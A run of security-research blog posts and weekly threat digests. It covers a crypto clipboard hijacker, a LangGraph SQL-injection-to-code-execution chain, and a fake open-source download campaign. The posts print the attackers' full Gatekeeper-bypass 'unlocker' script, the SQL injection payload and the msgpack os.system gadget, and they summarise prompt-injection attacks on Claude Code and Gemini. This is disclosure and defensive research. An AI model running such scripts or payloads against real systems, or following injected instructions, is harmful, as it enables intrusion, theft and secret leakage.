The instruction file tells the user to run unlocker.command, which automates the process of “fixing” the blocked application. The script searches for .app bundles in the same folder (or uses an app dragged onto it), removes the macOS quarantine attribute using xattr -cr, and then launches the chosen application with open. By wrapping this logic in simple dialogs and messages, the attacker makes it easy for non-technical users to bypass Gatekeeper warnings and run the malicious app.

#!/bin/bash
# unlocker.command - auto unlocker for .app bundles in the same folder
# Double-click this file in Finder (or drag an .app onto it) to remove quarantine and open the app.

# Get the directory where this script lives (works when double-clicked)
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# If user passed one or more args (drag-drop), use those instead of auto-search
if [ $# -gt 0 ]; then
  targets=()
  for a in "$@"; do
    targets+=("$a")
  done
else
  # Find .app bundles in the same folder (only top-level)
  targets=()
  while IFS= read -r -d $'\\0' f; do
    targets+=("$f")
  done < <(find "$DIR" -maxdepth 1 -type d -name "*.app" -print0)
fi

# Helper to show macOS dialog
show_dialog() {
  /usr/bin/osascript -e "display dialog $1 buttons {\\"OK\\"} with title \\"Unlocker\\""
}

# No apps found
if [ ${#targets[@]} -eq 0 ]; then
  /usr/bin/osascript -e 'tell app "Finder" to display dialog "No .app found in the same folder. Please place your .app (e.g. HashScanner.app) in the folder with this Unlocker and double-click again, or drag the .app onto this Unlocker." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# If exactly one target, use it automatically
if [ ${#targets[@]} -eq 1 ]; then
  chosen="${targets[0]}"
else
  # Multiple: ask user to choose via AppleScript list
  # Build a quoted list of basenames for Applescript
  applescript_list=""
  for f in "${targets[@]}"; do
    name="$(basename "$f")"
    # escape backslashes and double quotes
    esc_name="${name//\\\\/\\\\\\\\}"
    esc_name="${esc_name//\\"/\\\\\\"}"
    if [ -z "$applescript_list" ]; then
      applescript_list="\\"$esc_name\\""
    else
      applescript_list="$applescript_list, \\"$esc_name\\""
    fi
  done

  chosen_name=$(/usr/bin/osascript <<AS
set theList to { $applescript_list }
set chosen to choose from list theList with prompt "Choose the app to unlock and open:" default items {item 1 of theList}
if chosen is false then
  return "CANCEL"
else
  return item 1 of chosen
end if
AS
)

  if [ "$chosen_name" = "CANCEL" ]; then
    /usr/bin/osascript -e 'display dialog "No app selected. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 0
  fi

  # find the full path that matches the chosen base name
  chosen=""
  for f in "${targets[@]}"; do
    if [ "$(basename "$f")" = "$chosen_name" ]; then
      chosen="$f"
      break
    fi
  done

  if [ -z "$chosen" ]; then
    /usr/bin/osascript -e 'display dialog "Selected app not found. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 1
  fi
fi

# Final safety check: chosen is a directory and ends with .app
if [ ! -d "$chosen" ]; then
  /usr/bin/osascript -e 'display dialog "The selected item is not an application. Exiting." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# Run xattr -cr and open. Both commands are absolute paths to avoid PATH issues.
/usr/bin/printf "Removing quarantine from: %s\\n" "$chosen"
/usr/bin/xattr -cr "$chosen" 2>/dev/null
ret=$?
if [ $ret -ne 0 ]; then
  /usr/bin/osascript -e 'display dialog "Failed to remove quarantine (permission or other error). You can try running this script from Terminal for more details." buttons {"OK"} with title "Unlocker"'
  # still attempt to open so user can try
fi

/usr/bin/printf "Opening: %s\\n" "$chosen"
/usr/bin/open "$chosen"

# Let user know we're done
/usr/bin/osascript -e 'display dialog "Done — the app was unlocked (if possible) and opened." buttons {"OK"} with title "Unlocker"'
exit 0

Similar to its .NET Windows variant, the main program on macOS is also just a loader that executes another file located in nested folders.

The executed file is a malicious macOS executable written in Rust that acts as a cryptocurrency clipboard hijacker (clipper). Its main loop monitors the macOS pasteboard, detects wallet-like strings using embedded regular expressions, and replaces them with hardcoded attacker-controlled wallet addresses bundled inside the binary.

To maintain persistence, the malware writes a shell script wrapper to ~/launch.sh and installs a RunAtLoad and KeepAlive LaunchAgent plist at ~/Library/LaunchAgents/com.example..plist, causing launchd to silently re-execute the binary on every login and restart it if it dies. A 30-second watchdog loop (mw_watchdog_copy_and_relaunch) continuously re-writes both files and clones the binary via fcopyfile, making the persistence self-healing against manual removal without first killing the process.

The macOS variant appears to be closer in design to the older Windows version, where each regular expression pattern is associated with only a single attacker-controlled wallet address, rather than multiple addresses per currency.

Coin family	Regex pattern	Attacker’s Wallet
Bitcoin (BTC)	\\b(bc1)[A-Za-z0-9]{26,45}\\b	bc1qr8vgrcvacyea68gk6w0kdzt2xcc93azzhalyjl
Bitcoin (BTC)	\\b(1)[A-Za-z0-9]{26,35}\\b	1JKeTeM7H3P1hj2DYB6vnXWeJ7XgKvXb7D
Bitcoin (BTC)	\\b(3)[A-Za-z0-9]{26,35}\\b	3EBa4JbKY3HJx6KZopR1sV1upEvxm3dwR1
Bitcoin Cash (BCH)	\\b(q)[A-Za-z0-9]{26,43}\\b	qp5c3syh4t750jwpljzdmnndddlj7zg64gjhxgm8nd
Bitcoin Cash (BCH)	\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b	bitcoincash:qzn9dpl6fs7ywue3ms2wpcjad3wwmax8xgqtkdr7pd
Bitcoin Gold (BTG)	\\b(btg)[A-Za-z0-9]{26,43}\\b	btg1q4v9xfvgv4792cg394dmfz8ctd2hhu5xgype2ty
Ethereum / EVM (ETH‑style)	\\b(0x)[A-Za-z0-9]{40,46}\\b	0x22f24a22b6f824E9ef76B05B186c4D0C2Df58d67
Monero (XMR)	\\b(4)[A-Za-z0-9]{90,98}\\b	48SWwQ7QUSSPhHS9zWF9V9TKyK7FZVxDd9LghKbbkkYzB3AbhyKaCozMc26siguA2b6tce6tztCTXCWgyrypBLmW7HRxs6D
Monero (XMR)	\\b(8)[A-Za-z0-9]{90,98}\\b	8BWn9uaExAu2YP3duvbYR2jYfVXMUqnTQYPizkEz1EWrKCGA9Mk912fE3XeZ3P77wTAVp2yDmcKuWiXos6JRAgRtKGijrza
Binance Chain (BNB)	\\b(bnb)[A-Za-z0-9]{26,44}\\b	bnb1aj96a2f8655rl2hdrzghlagjpe2nm40tp7jq2v
Dogecoin	\\b(D)[A-Za-z0-9]{26,35}\\b	DDrusqzPjEovYyFrtDV8PVZVZDFFvpGAkc
Cardano (ADA)	\\b(addr1)[A-Za-z0-9]{26,108}\\b	addr1qytkt94c60hcg27hd9n3zgejxlha6c0v0rpaufgrvxzprkshvktt35l0ss4aw6t8zy3nydl0m4s7c7xrmcjsxcvyz8dqxlg07g
Cardano (ADA)	\\b(Ae2)[A-Za-z0-9]{26,105}\\b	Ae2tdPwUPEZE9kTmNo42ADPop6fXgrSU81n8EERR2ELyCMDh4jrGC4K514q
Cardano (ADA)	\\b(DdzFF)[A-Za-z0-9]{26,108}\\b	DdzFFzCqrht6dsYcpUFCaMmtBZx7kWS62kBBBiQuaJgW6VJYqfk3hhNNmvL4Zup8pDr32J7JSrG7Pkk77cFFe3H73C5j65tDKTfVp9YV
Litecoin (LTC)	\\b(L)[A-Za-z0-9]{26,35}\\b	LS6vZukRTqjHtC3ZVYjzPDsiK6UdWdxuhg
Litecoin (LTC)	\\b(M)[A-Za-z0-9]{26,35}\\b	MJjPAnpe83WAoEFsdLJUKi76GeHx9HkYoU
Litecoin (LTC)	\\b(ltc)[a-z0-9]{26,68}\\b	ltc1qxa03u2udf0a6znuhrrxc6wc4q28wmceh8muqyl
Zcash (ZEC)	\\b(t1)[A-Za-z0-9]{26,36}\\b	t1RH2YT8Mdo4VJL2tdkkw71N751K5Gc5AGR
TRON	\\b(T)[A-Za-z0-9]{32,37}\\b	TBFqTqF17fRvSXDh7U8k5mVFxjqkKrWUXm
XRP	\\b(r)[A-Za-z0-9]{31,38}\\b	rfzq3PnZAt6eFKcJ9TXHsAm2c8GuguHUc1
Altcoin	\\b(G)[A-Za-z0-9]{26,40}\\b	GYzpABfDYfSXq3tq64u8v33zcT71Wy1dsG
Altcoin	\\b(A)[A-Za-z0-9]{26,40}\\b	AYVNJxRrfpLKVPCkzVKtkq5rTDUhst7KtQ
Solana	\\b[A-Za-z0-9]{44}\\b	7UQuwTTbZ9SoMY1E8D3DMyPjFCPCXjED2wcj8uhshyzW

Conclusion

In conclusion, this operation combines simple but effective malware with strong social engineering and aggressive cross‑platform promotion. A WordPress phishing site, manipulated engagement on GitHub and SourceForge, AI‑driven YouTube videos, VirusTotal sentiment abuse, and even posts on news outlets and crypto forums all work together to make the tools appear popular, legitimate, and safe. The updated Ghost Networks model is designed to repeatedly expose the victim to positive signals (stars, comments, votes, “safe” labels) so that, by the time they run the tool, it feels like a normal, benign application rather than a threat.

From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust. Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users.

These techniques can also be abused by other types of actors distributing and promoting information stealers or other malware families, which can eventually lead to full ransomware compromises in more mature environments. In other words, the same playbook of fake reputation and broad promotion can be reused to deliver more damaging payloads over time.

Indicators of Compromise

Description	Value
Clipboard Hijacking Malware	5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61 33c86ecfc324de3af97150bd009aba7925a6ba7a0842e127e94cf351013c0fe6 7a7ad4ae347a3f99f3773a113d9f70ecfa967100c96e8275bd1df833caee68d1 bad8625087a7b9453c70933c0db32518ff5818e3d83f3a9e78d432a22b383edb c1435847b0c437f91efb07a3a35e4468036322d7acf4ba9e6d363cec0b481241 ef9a915c8e1d484e52b3287c94a58ecd22c07391a87f9c136eabd8397ed01ca2 5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61 e02e60a23297692637b43ebcd7dbeb63af1e9680c551586a1ce935218e0034be fb8294b12f904dff2ac79b51872be7bf09ab422cde223caaf4762eadf7e0760d a91c09e0eea610dbe5879798f9cf12e3ce51e4e6f0893278bcdf3ebe22c4730b 9c566db1ef9d08ee389d2b8cc1c50c65870096130c8bd2cf41ea14c4075e94c0
.NET Loader	f737e99177cc05037ff34cf6e245dd56377dc3db4e2bb46edcf039df650939d6 7a9632bbecc31d02fdd0eab07e2424b3e1c9e9a3f91aac4ef6f708f2befbaa3d
MacOS Clipboard Hijacking Malware	b71efdebd0ca3563e67edb7ad59358a6b8f013b219ad65033efcf48fd1c86619
MacOS Loader	6f12c066a929c96104796c4ecca938754962009ebd9e4ba5329bb940bf331d0a

The post From Stars to Upvotes: Fake Reputation Fueling a Crypto Clipboard Hijacker appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 15th June, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• The University of Nottingham, a UK research university, has suffered a data breach after ShinyHunters accessed its student records system. The incident affected about 454,600 current and former students and exposed contact details, passport numbers, enrollment information, and fee payment records later appeared online. According to analysts, this breach is part of a larger wave of attacks targeting more than 100 organizations by ShinyHunters, exploiting CVE-2026-35273, a critical zero-day vulnerability in Oracle PeopleSoft that allows remote code execution.

Check Point IPS provides protection against this threat (Oracle PeopleSoft Enterprise PeopleTools Server-Side Request Forgery (CVE-2026-35273))

• Mackay Sugar, Australia’s second-largest sugar producer, has been hit by a cyberattack that disrupted operations and shut down its Farleigh and Racecourse mills in Queensland. The company instructed growers to stop harvesting and suspended cane haulage while temporary measures were deployed to maintain essential operations.
• Danish pharmaceutical giant Novo Nordisk has disclosed a breach after attackers accessed internal IT systems and copied pseudonymized clinical trial data from research systems. The exposed information included patient IDs, trial participation details, limited health data, and some healthcare professionals’ contact information.

AI THREATS

• Check Point Research has demonstrated exploitable flaws in LangGraph, an open-source framework for stateful AI agents. Researchers chained SQL injection and unsafe deserialization issues to achieve remote code execution, with patches issued for SQLite, core, and Redis checkpointer components in affected deployments.

Check Point IPS provides protection against this threat (LangChain LangGraph SQL Injection (CVE-2026-27022))

• Researchers highlighted a China-based phishing-as-a-service network, Outsider, that allegedly used Gemini to generate fake websites and support SMS phishing campaigns. Google filed a lawsuit after linking the operation to thousands of phishing sites, more than 1.5 million URLs, and large-scale victim targeting.
• Researchers warned that prompt-injection attacks against Anthropic’s Claude Code GitHub Action could leak CI/CD workflow secrets. Malicious issue or pull request text can instruct the agent to read environment variables and expose API keys, enabling workflow abuse and impersonation inside software repositories.

VULNERABILITIES AND PATCHES

• Check Point Research has identified active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN and Mobile Access deployments configured to use the deprecated IKEv1 key exchange protocol. Attacks began in May and increased in early June, affecting a limited number of organizations, with one case tied to Qilin ransomware activity.

Check Point IPS provides protection against this threat (IKEv1 Remote Access Authentication Bypass PoC Exploit (CVE-2026-50751))

• Microsoft released its largest Patch Tuesday update to date, addressing more than 200 Windows and Defender vulnerabilities amid an AI-driven surge in vulnerability discovery. The fixes include CVE-2026-45657, a critical Windows flaw with a CVSS score of 9.8 that could enable network-based propagation, CVE-2026-41091, which has been actively exploited to gain full system control, and CVE-2026-50507, a BitLocker bypass vulnerability.
• Veeam has released security updates to fix a critical flaw affecting Backup & Replication. The vulnerability allows an authenticated domain user to execute code remotely on a domain-joined backup server, exposing sensitive backup infrastructure and recovery systems.

THREAT INTELLIGENCE REPORTS

• Check Point Research’s May 2026 attack trends report found that organizations experienced an average of 2,055 weekly attacks, down 7% month over month, while ransomware incidents increased 48% year over year. The report also highlights continued GenAI exposure across enterprise environments, including risks linked to business-related prompts.
• Researchers detected a supply-chain compromise in the Arch User Repository, where attackers seized hundreds of packages and modified build scripts to install credential-stealing malware. The campaign deployed malicious dependencies, a Rust stealer, and, with administrative privileges, an eBPF rootkit on Linux systems.
• Researchers analyzed a Brazilian phishing campaign abusing the legitimate NinjaOne remote management agent to gain access to company computers. The campaign uses fake Portuguese business portals and phone-based social engineering to install a signed agent connected to attacker-controlled infrastructure on victim endpoints
• Researchers described ongoing exploitation of WinRAR flaw CVE-2025-8088 by Russia-linked groups targeting Ukrainian military and government organizations. Spear-phishing archives plant hidden files that run at login and deploy stealers for browser passwords, cookies, VPN configurations, and other credentials across affected Windows systems.

The post 15th June – Threat Intelligence Report appeared first on Check Point Research.

By Yarden Porat

AI agents need memory. Frameworks like LangGraph provide it through checkpointers – persistence layers that store execution state. But what happens when that persistence layer isn’t locked down?

Key Points

• Check Point Research analyzed LangGraph, an open-source framework for stateful AI agents with over 50 million monthly downloads, and uncovered three vulnerabilities in its persistence layer.
  
• Two of them chain into remote code execution: a SQL injection in the SQLite checkpointer (CVE-2025-67644) and an unsafe msgpack deserialization (CVE-2026-28277).

• A third, parallel issue (CVE-2026-27022) introduces the same injection class into the Redis checkpointer.
  
• Who’s at risk: teams self-hosting LangGraph with the SQLite or Redis checkpointer, where the application exposes get_state_history() with a user-controlled filter. LangChain’s managed cloud service, LangSmith Deployment (formerly LangGraph Platform), runs PostgreSQL and is not vulnerable.

• LangChain patched all three issues. Users should update to langgraph-checkpoint-sqlite 3.0.1+, langgraph 1.0.10+, and langgraph-checkpoint-redis 1.0.2+.

Background

LangGraph is an open-source framework for building stateful, multi-agent AI systems with built-in persistence. It’s an extension of LangChain, with over 50 million monthly downloads according to PyPI stats.

Checkpointers are LangGraph’s persistence layer that stores execution state at each step. LangGraph supports two checkpointer implementations: SQLite and PostgreSQL.

Vulnerability #1: SQL Injection (CVE-2025-67644)

The SQLite Checkpointer Database Schema:
The SQLite checkpointer uses an internal table called checkpoints with the following structure:

CREATE TABLE checkpoints (
    thread_id TEXT NOT NULL,
    checkpoint_ns TEXT NOT NULL DEFAULT '',
    checkpoint_id TEXT NOT NULL,
    parent_checkpoint_id TEXT,
    type TEXT,
    checkpoint BLOB,
    metadata BLOB,
    PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id)
);

The metadata column stores additional contextual information about each checkpoint in JSON format. For example:

{
  "user_id": "alice",
  "step": 1,
  "source": "input"
}

The list() Function and Filtering:

When calling the list() function on sqliteSaver (the checkpointer), the filter parameter is used to query checkpoints based on their metadata:

def list(
    self,
    config: RunnableConfig | None,
    *,
    filter: dict[str, Any] | None = None,  # Used to filter by metadata
    before: RunnableConfig | None = None,
    limit: int | None = None,
) -> Iterator[CheckpointTuple]:

The filter parameter is passed to an internal function called _metadata_predicate, which constructs the SQL WHERE clause to query checkpoints by their metadata fields.

# process metadata query
    for query_key, query_value in filter.items():
        operator, param_value = _where_value(query_value)
        predicates.append(
            f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
        )
        param_values.append(param_value)

    return (predicates, param_values)

The Injection

The vulnerability exists in how _metadata_predicate handles the query_key from the filter dictionary.
Notice this critical line:

f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

An attacker-controlled filter could provide a query_key with a ' character that will escape the JSON path string and inject arbitrary SQL code.

Injection -> Arbitrary Deserialization

To understand how SQL injection leads to arbitrary deserialization, we need to see the complete picture.
Here’s the SQL query that gets executed in list():

query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
{where}
ORDER BY checkpoint_id DESC"""

This query retrieves checkpoint data from the database, including the checkpoint’s BLOB column.
The results are then processed:

async for (
    thread_id,
    checkpoint_ns,
    checkpoint_id,
    parent_checkpoint_id,
    type,
    checkpoint,  # ← This comes directly from the SQL query results
    metadata,
) in cur:  # ← cur contains the query results
    # ... 
    yield CheckpointTuple(
        # ...
        self.serde.loads_typed((type, checkpoint)),  # ← Deserialization
        # ...
    )

The checkpoint contains serialized data, and when fetched gets deserialized.

The Attack

Using SQL injection in the WHERE clause, an attacker can inject a UNION SELECT that adds their own row to the query results:

SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
WHERE ... (injected: ') UNION SELECT 'thread1', 'ns', 'checkpoint1', NULL, 'msgpack', X'', '{}' -- )
ORDER BY checkpoint_id DESC

The injected UNION SELECT returns a fake checkpoint row where the checkpoint column contains attacker-controlled serialized data. When the code loops through the query results, it deserializes this malicious checkpoint’s BLOB, giving the attacker arbitrary deserialization

Vulnerability #2: MsgPack Unsafe Deserialization (CVE-2026-28277)

Now let’s examine what happens during deserialization. The self.serde.loads_typed() function that deserializes checkpoint data looks like this:

def loads_typed(self, data: tuple[str, bytes]) -> Any:
    type_, data_ = data
    if type_ == "null":
        return None
    elif type_ == "bytes":
        return data_
    elif type_ == "bytearray":
        return bytearray(data_)
    elif type_ == "json":
        return json.loads(data_, object_hook=self._reviver)
    elif type_ == "msgpack":
        return ormsgpack.unpackb(
            data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
        )
    elif self.pickle_fallback and type_ == "pickle":
        return pickle.loads(data_)
    else:
        raise NotImplementedError(f"Unknown serialization type: {type_}")

Formats

1. Pickle –  is disabled by default
2. JSON –  The json.loads() with object_hook was discussed in our LangGrinch research, but does not lead to code execution
3. Msgpack – This is the one we are interested in

What is msgpack?

MessagePack (msgpack) is a binary serialization format designed to be faster and more compact than JSON. LangGraph uses ormsgpack, a Rust-based implementation with Python bindings.

Msgpack Extensions

MessagePack allows developers to define custom extension types to handle additional data types beyond its built-in primitives. LangGraph implemented its own extension handler to support serialization of custom Python objects.

When the type_ is msgpack, the code calls:

ormsgpack.unpackb(data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS)
```
The `ext_hook` parameter points to LangGraph's custom implementation: `_msgpack_ext_hook`.

```python
def _msgpack_ext_hook(code: int, data: bytes) -> Any:
    if code == EXT_CONSTRUCTOR_SINGLE_ARG:
        try:
            tup = ormsgpack.unpackb(
                data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
            )
            # module, name, arg
            return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
        except Exception:
            return

When an attacker controls the serialized data, they control both the extension code and the data bytes.

The vulnerability

If we pass a msgpack with EXT_CONSTRUCTOR_SINGLE_ARG code, and the tuple:

1. os
2. system
3. Command (“echo PWN > /tmp/pwned.txt” for example)

When this line executes:

return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])

It will:

1. Import the os module

2. Get the system function from it

3. Call os.system("echo PWN > /tmp/pwned.txt")

This gives an attacker arbitrary code execution – by calling os.system() with attacker-controlled commands, they can execute any shell command on the server.

The Attack Chain: Combining Both Vulnerabilities

Now let’s walk through how an attacker chains these two vulnerabilities together to achieve remote code execution.

The Entry Point: When a developer exposes get_state_history(), it internally calls the checkpointer’s list() method to retrieve historical checkpoints:

def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[Dict[str, Any]] = None,
    before: Optional[RunnableConfig] = None,
    limit: Optional[int] = None,
) -> Iterator[StateSnapshot]:
    # ...
    for checkpoint_tuple in self.checkpointer.list(config, filter=filter, before=before, limit=limit):
        # Process and return checkpoint data

If the filter parameter comes from user input without sanitization, an attacker controls the dictionary keys passed to the SQL injection vulnerability.

The Attack Flow

1. Craft Malicious Payload: The attacker prepares a msgpack payload containing instructions to execute arbitrary code (e.g., run a shell command).

2. Exploit SQL Injection: The attacker sends a malicious filter parameter that exploits the SQL injection vulnerability. This injection adds a fake checkpoint row to the database query results, where the checkpoint column contains their malicious msgpack payload.

3. Trigger Deserialization: When the application processes the query results, it encounters the injected fake checkpoint and deserializes the malicious msgpack data.

4. Code Execution: The unsafe deserialization executes the attacker’s payload, giving them remote code execution on the server.

Vulnerability #3: SQL Injection in the Redis Checkpointer (CVE-2026-27022)

The same injection class affects langgraph-checkpoint-redis: user-controlled keys in the filter dictionary are interpolated directly into the query instead of bound as parameters. Preconditions match CVE-2025-67644 (the application exposes get_state_history() with a user-controlled filter and uses the Redis checkpointer). Patched in langgraph-checkpoint-redis 1.0.2.

Additional SQL Injection Findings

Beyond the primary SQL injection in the filter parameter, we identified additional defense-in-depth SQL injection issues in both the SQLite and PostgreSQL checkpointers. These involved direct concatenation of integer values (such as LIMIT and ttl parameters) into SQL queries instead of using parameterized bindings.

Since Python doesn’t enforce type hints at runtime, these parameters could still accept malicious string input. We worked with the LangChain team during disclosure to remediate these issues using parameterized queries.

Disclosure Timeline

2025-11-19: CVE-2025-67644 (SQL injection), CVE-2026-28227 (msgpack deserialization) And CVE-2026-27022 (Redis injection) disclosed to LangChain team

2025-12-10: CVE-2025-67644 fixed and publicly released in langgraph-checkpoint-sqlite 3.0.1

2026-02-20: CVE-2026-27022  fixed and publicly released in langgraph-checkpoint-redis 1.0.2

2026-03-05: CVE-2026-28277  fixed and publicly released in langgraph-checkpoint 4.0.1

Note on Vendor Response

The LangChain team responded quickly to fix the critical SQL injection vulnerability, which effectively breaks the attack chain described in this research. They continue to work methodically on additional remediation efforts, including the msgpack deserialization issue.

Additional Research

There was significant community research into LangGraph security during November and December 2025. Other security researchers independently discovered CVE-2025-67644 and CVE-2026-28277. Full credits can be found in LangChain’s security advisories.

The post From SQLi to RCE – Exploiting LangGraph’s Checkpointer appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 8th June, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• DentaQuest, a U.S. dental benefits administrator owned by Sun Life, has suffered a data breach after threat group ShinyHunters leaked exfiltrated data. Analysts assessed that 2.6 million accounts were exposed, including names, emails, government IDs, and health insurance details.
• Password manager Dashlane has disclosed an attack in which threat actors brute-forced two-factor codes to register unauthorized devices and download encrypted password vaults for less than 20 users. The campaign began May 31 and was contained after lockouts.
• The United Nations World Food Programme has disclosed unauthorized access to its Gaza self-registration application, exposing names, identification numbers, mobile numbers, and location data. The breach affected about 600,000 Palestinian households across Gaza, and WFP suspended the platform while responding to the incident.
• Russia’s Federal Security Service claims that foreign intelligence agencies hacked mobile devices belonging to senior Russian officials. The alleged spyware operation enabled access to correspondence, calls, geolocation data, contact lists, and covert audio and video surveillance.
• Hola, whose Windows browser serves millions of users, has confirmed a supply chain compromise that pushed an unauthorized executable to some users. The file operated as a cryptominer, installed as a Windows service, and excluded itself from Defender. An independent review found impact limited to about 0.1% of users.

AI THREATS

• Check Point highlighted an AI security risk after reports that attackers used Meta’s AI support chatbot to seize Instagram accounts. Granting AI agents account recovery authority to change emails or approve requests without identity checks can enable unauthorized access, showing that permissions and verification shape the risk.
• Researchers demonstrated a notification-based prompt injection technique called Fake Context Alignment that manipulated Google’s Gemini voice assistant through incoming messages. The attack hid authorization prompts and enabled device control, auto-joining Zoom video calls, and cross-device memory poisoning. Google deployed classifier updates after disclosure.
• Researchers described an AI-enabled EDR evasion lab where a threat actor automates malware development and testing against Sophos, CrowdStrike, and Microsoft Defender. LLM-driven agents and an automated Active Directory panel coordinate iterative trials, supporting stealthy post-exploitation tied to ransomware deployment and data theft.

VULNERABILITIES AND PATCHES

• Google has released its June Android security patch for 124 vulnerabilities, including CVE-2025-48595, a high-severity Android Framework flaw under exploitation. Local attackers can use the vulnerability to gain code execution and escalate privileges on devices running Android 14 or later.
• Cisco has released patches for CVE-2026-20230, a critical Unified Communications Manager and Session Management Edition flaw that allows unauthenticated network attackers to write files and escalate to root. A public proof-of-concept was already published. The bug requires WebDialer enabled, and fixes include 14SU6 and an interim 15.x COP.
• SolarWinds Serv-U CVE-2026-28318 has been exploited in attacks against file transfer servers. The unauthenticated flaw lets crafted HTTP POST requests using a deflate header crash the service and disrupt operations. SolarWinds fixed the vulnerability in Serv-U 15.5.4 HF1.
• CVE-2026-41089 in Microsoft Windows Netlogon is being exploited in attacks against Windows Server domain controllers. The critical stack-based buffer overflow flaw can allow remote code execution through crafted network requests. Successful exploitation may give attackers SYSTEM-level control of domain controllers in vulnerable Active Directory environments.

Check Point IPS provides protection against this threat (Microsoft Windows Netlogon Remote Code Execution (CVE-2026-41089))

THREAT INTELLIGENCE REPORTS

• Check Point Research has investigated a large-scale impersonation and click-hijacking scheme that reroutes downloads from fake open-source sites through a gated traffic distribution system. Impersonating tools like Ghidra and dnSpy, it led to infection by RemusStealer, AnimateClipper, and a new loader called SessionGate.

Check Point Threat Emulation and Harmony Endpoint provide protection against this threat

• Check Point Research linked a Dutch seizure of about 800 servers at hosting provider WorkTitans B.V. to Iranian cyber espionage operations. MuddyWater, Agrius, and Nimbus Manticore used this infrastructure for attacks that enabled remote access, credential theft, and scanning.
• Check Point researchers have surveyed the 2026 U.S. midterm threat landscape, finding that operations focus on phishing, brand impersonation, and domain abuse rather than ballot tampering. Russian-linked Doppelganger networks cloned major media sites, vote-related domains increased, and exposed ActBlue and WinRed credentials surfaced.
• Researchers identified a months-long espionage campaign that covertly siphoned a senior executive’s Microsoft Outlook mailbox at a major global stock exchange. Attackers used legitimate cloud storage services and disguised update tasks to persist and move data in small batches, enabling five months of undetected access.

The post 8th June – Threat Intelligence Report appeared first on Check Point Research.

Research by: Alexey Bukhteyev

Key Takeaways

• Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot. The sites are well-designed and often look like legitimate project portals at a glance, sometimes referencing real upstream resources. The deception is not in the page content alone, it’s in what happens when a user interacts.
• Our analysis shows these pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
• The observed ecosystem appears to be built primarily for traffic acquisition and monetization, likely leveraging legitimate ad-tech and monetization tooling, while downstream redirect chains repeatedly led selected users to malware delivery infrastructure.
• The downstream branches we analyzed led to multiple malware families, including RemusStealer, AnimateClipper, and the SessionGate framework, which we observed delivering PUA (Potentially Unwanted Applications), suggesting this was not an isolated malicious redirect.

Introduction

When we search Google for a popular piece of software, we usually click the first result, sometimes without even looking at the rest, because official project sites tend to rank highest and appear near the top of the results.

After landing on a site with a professional design and links that appear to point to the project’s official GitHub repository, most users intuitively trust it and proceed to download and run the installer without a second thought. Nothing seems suspicious: the first link in Google, a polished “official-looking” website, and references to the real project. What could go wrong?

Check Point Research investigated a large-scale campaign in which malicious and unwanted software is distributed through a gated traffic-routing stack. The operation relies on professionally built open-source and freeware impersonation sites, where click events initiate routing through a Traffic Distribution System (TDS) — a traffic-filtering and redirection layer that can send different users to different destinations based on factors such as geography, device type, browser fingerprint, or campaign rules — and can ultimately lead to payload delivery.

What makes this campaign especially notable is the choice of brands: a high-risk subset of sites impersonates trusted reverse-engineering tools such as Ghidra and dnSpy, used by security researchers and malware analysts.

The broader phenomenon of websites impersonating popular open-source and freeware projects had already been documented by late 2025. In November 2025, Fullstory reported a large cluster of such fraudulent domains and did not identify direct abuse in their examined samples at the time (including checking hosted archives against known-good content), while emphasizing the clear security risk and the potential for downstream phishing or watering-hole style abuse.

Our findings show that this ecosystem has evolved. We observed that by at least December 2025, the sites in this cluster had TDS scripts embedded into their workflow, and from early January 2026 onward, we recorded active malware distribution via the same infrastructure.

The scale is reflected in VirusTotal telemetry: more than 5,000 total submissions across relevant samples, indicating substantial reach in just the subset visible through public sharing. The real exposure is likely significantly higher.

Among the payloads distributed through this TDS infrastructure, we identified several malware families:

• SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms, which makes obtaining the final payload extremely difficult. In the chains we observed, it was used to deliver potentially unwanted applications (PUA). We examine SessionGate more deeply later on this article.
• RemusStealer — a newly emerged infostealer designed to steal data from more than 20 browsers and targeting hundreds of browser extensions and applications, including cryptocurrency wallets, two-factor authentication tools, and password managers.
• AnimateClipper — A cryptocurrency clipper capable of hijacking transactions across more than 20 blockchain ecosystems.

